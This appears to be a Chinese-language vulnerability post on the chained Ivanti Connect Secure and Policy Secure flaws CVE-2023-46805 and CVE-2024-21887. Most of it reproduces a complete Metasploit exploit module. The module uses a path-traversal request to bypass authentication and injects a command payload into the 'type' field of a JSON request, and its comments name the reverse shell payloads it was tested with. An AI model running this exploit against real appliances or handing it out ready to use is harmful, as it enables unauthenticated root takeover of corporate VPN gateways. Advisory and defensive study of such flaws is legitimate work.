0x00 前言
Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的 SSL VPN 解决方案，使他们能随时随地从任何可上网的设备访问企业资源。
0x01 漏洞描述
Ivanti Connect Secure 和Ivanti Policy Secure中存在一个身份验证绕过漏洞（CVE-2023-46805）和一个命令注入漏洞（CVE-2024-21887），未经身份验证的威胁者可组合利用这两个漏洞导致远程代码执行。
0x02 CVE编号
CVE-2023-46805：Ivanti Connect Secure & Policy Secure身份验证绕过漏洞（高危）
Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure的web组件中存在身份验证绕过漏洞，远程攻击者可以绕过控制检查访问受限资源。
CVE-2024-21887：Ivanti Connect Secure & Policy Secure命令注入漏洞（严重）
Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure的web组件中存在命令注入漏洞，通过该漏洞，经过身份验证的管理员可以发送精心编制的请求并在设备上执行任意命令。此漏洞可在互联网上被利用。
0x03 影响版本
Ivanti Connect Secure & Ivanti Policy Secure 9.x、22.x
0x04 漏洞详情
Exploit：
代码语言：javascript复制##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution',
'Description' => %q{
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
also vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-46805'], # The auth bypass vulnerability.
['CVE', '2024-21887'], # The command injection vulnerability.
['URL', 'https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis'],
['URL', 'https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/']
],
'DisclosureDate' => '2024-01-10',
'Platform' => %w[linux unix],
'Arch' => [ARCH_CMD],
'Privileged' => true, # Code execution as root.
'Targets' => [
[
# Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/linux/http/x64/shell/reverse_tcp
# cmd/linux/http/x86/shell/reverse_tcp
'Linux Command',
{
'Platform' => 'linux',
'Arch' => [ARCH_CMD]
},
],
[
# Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:
# cmd/unix/python/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
# cmd/unix/reverse_python
'Unix Command',
{
'Platform' => 'unix',
'Arch' => [ARCH_CMD]
},
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/tmp'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
# We leverage the auth bypass to request the authenticated endpoint /api/v1/system/system-information and retrieve
# the target system version information. If this requests succeeds, the target is vulnerable.
res = send_request_cgi(
'method' => 'GET',
'uri' => '/api/v1/totp/user-backup-code/../../system/system-information'
)
return CheckCode::Unknown('Connection failed') unless res
# If the vendor mitigation has been applied, the request will return 403 Forbidden.
return CheckCode::Safe if res.code != 200
# By here we know the target is vulnerable, we can pull out the exact version information from the expected JSON
# response, this is only for display purposes, we don't need to test the version information.
json_data = res.get_json_document
name = json_data.dig('software-inventory', 'software', 'name')
version = json_data.dig('software-inventory', 'software', 'version')
build = json_data.dig('software-inventory', 'software', 'build')
# Return CheckCode::Unknown if we got a JSON response but it didn't contain the expected keys, or if
# get_json_document could not parse the JSON (and will return an empty Hash).
return CheckCode::Unknown('No version information in response') if name.nil? || version.nil? || build.nil?
Exploit::CheckCode::Vulnerable("#{name} #{version} (#{build})")
end
def exploit
send_request_cgi(
'method' => 'POST',
'uri' => '/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection',
'ctype' => 'application/json',
'data' => {
'type' => ";#{payload.encoded} #",
'txtGCPProject' => Rex::Text.rand_text_alpha(8),
'txtGCPSecret' => Rex::Text.rand_text_alpha(8),
'txtGCPPath' => Rex::Text.rand_text_alpha(8),
'txtGCPBucket' => Rex::Text.rand_text_alpha(8)
}.to_json
)
end
end
0x05 参考链接
代码语言：javascript复制https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gatewayshttps://github.com/rapid7/metasploit-framework/blob/de6ed9e1d6e39593582369083c6f7678c7d89262/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rbhttps://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
